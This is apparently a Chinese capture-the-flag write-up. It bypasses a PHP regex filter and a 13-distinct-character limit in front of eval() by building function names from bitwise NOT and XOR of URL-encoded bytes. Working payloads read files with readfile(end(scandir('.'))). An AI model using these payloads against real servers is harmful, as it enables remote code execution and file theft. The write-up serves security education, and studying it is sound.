这题有点儿复杂
参考
上来就是源码
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
源码很短,意思也很简单,绕过两个if进行命令执行。
\x00- 0-9 匹配\x00到空格(\x20),0-9的数字
'"`$&.,|[{_defgops 匹配这些字符
\x7F 匹配DEL(\x7F)字符
count_chars() 函数返回字符串中所用字符的信息(例如,ASCII 字符在字符串中出现的次数,或者某个字符是否已经在字符串中使用过)。
可以看到~和^没有被过滤,所以应该使用异或和取反绕过。
(~%8F%97%8F%96%91%99%90)();
%8F%97%8F%96%91%99%90是phpinfo取反后在url编码。
再来看看对第二个if的count_chars函数,
返回一个字符串,包含所有在参数中使用过的不同字符(模式 3)
例如
<?php
$str = "Hello World!";
echo count_chars($str,3);
?>
结果:!HWdelor,很好理解,也就是说不一样的字符不超过13个。
对字符串而言,异或0xff和取反是一样的效果。
例如:((%8f%97%8f%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff))();即(phpinfo)();
这里我们用异或%ff的形式,这样方便后续的构造。
再来看phpinfo里面
基本上能利用的函数都被禁止了。
但我们可以用print_r(scandir(.))函数获得目录。
((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)即print_r
(%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)即scandir 后面就是(.)
本地测试成功,但绕不过第二个if。
本地测试后我们的payload经过count_chars之后长度为16,我们要想办法减少三个
这里有一个思路
先上脚本
str = 'acdips'
target = 'ntr'
for m in target:
for a in str:
for b in str:
for c in str:
if ord(a)^ord(b)^ord(c) == ord(m):
print("{} = {}^{}^{}".format(m,a,b,c))
我们取三个结果
n = c^d^i
t = c^d^s
r = a^c^p
拿n为例。因为n = c^d^i 所以~n = ~c^d^i成立,即n ^0xff= c^d^i^0xff成立
再来看看我们的payload,取前部分print_r说明
(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)将对应的ntr替换变成:
(%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF)
在四个括号中,将要替换的字符用响应的三个代替字符代替,最后一个括号全为0xff相当于取反,而其他不变的字符不变,但异或了3个0xff相当于取反三次,等同于去反一次,所以仍不变,本地测试。
<?php
$str = urldecode('%8F%9E%96%9C%9C%A0%9E')^urldecode('%FF%9C%FF%9B%9B%FF%9C')^urldecode('%FF%8F%FF%96%8C%FF%8F')^urldecode('%FF%FF%FF%FF%FF%FF%FF');
echo $str;
结果
再用这个思路将payload中所有的ntr替换。
最后((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
现在本地测一下长度。
<?php
$_ = $_GET['_'];
echo strlen(count_chars($_,3));

符合我们的要求了,在题目试试。
成功了,单文件名比较长肯定会超长度,但php有end函数可以读取数组的最后一个,我们的flag文件也正好在数组的最后一个
最后用readfile(end(scandir(.)))就可以了。
最后
((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

拿到flag
这题看似几行源码花了挺长时间的,做题还是的耐心啊。